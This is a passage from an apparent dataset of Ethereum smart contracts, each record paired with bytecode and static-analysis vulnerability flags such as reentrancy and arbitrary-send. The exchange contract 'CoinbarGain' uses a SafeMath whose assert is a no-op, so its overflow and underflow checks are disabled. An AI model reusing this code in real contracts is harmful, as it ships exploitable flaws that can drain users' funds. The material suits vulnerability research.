ffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f26565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613006565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613086565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b600f42611a7391906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f04565b60405180910390fd5b5060008385611c8b91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60078661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60038661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f46565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612973565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130c1565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613263565b90508284826121519190613232565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc6565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f04565b60405180910390fd5b50600083856122949190613232565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e487612511565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242381612620565b61242d84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a6565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e5683635c9adc5dea0000060065461219c90919063ffffffff16565b82101561250457600654683635c9adc5dea0000093509350505061250d565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600a612717565b925092509250600061253d612213565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612213565b90506000612641828461212190919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276d606461275f888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212190919063ffffffff16565b905060006127dd868961212190919063ffffffff16565b905060006127f4878961212190919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d225079e835d9028b7ce460aacfc19156c7c04330a426b763e3ac1e19af2dd964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,588 |
0xaac6e8a8ba4435b9ead7a637900481b196f9f8eb
|
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) assert;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
constructor() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) return;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) return;
if (balances[account] < amount) return;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract CoinbarGain is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
constructor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() {
return;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) return;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) return;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) return;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) return;
if (feeMake_ > feeMake) return;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) return;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) return;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) return;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) return;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) return;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) return;
if (!Token(token).transferFrom(msg.sender, this, amount)) return;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) return;
if (tokens[token][msg.sender] < amount) return;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) return;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) return;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631cbd051981146043575b600080fd5b348015604e57600080fd5b50606e73ffffffffffffffffffffffffffffffffffffffff600435166080565b60408051918252519081900360200190f35b506000905600a165627a7a72305820b0830f360b9c99e3ee44e05655885ef68276819421487172c2047fab0da7e6a00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,589 |
0xf7a2b8fa50f043d4e6d243b598ff1d03f18c1a00
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
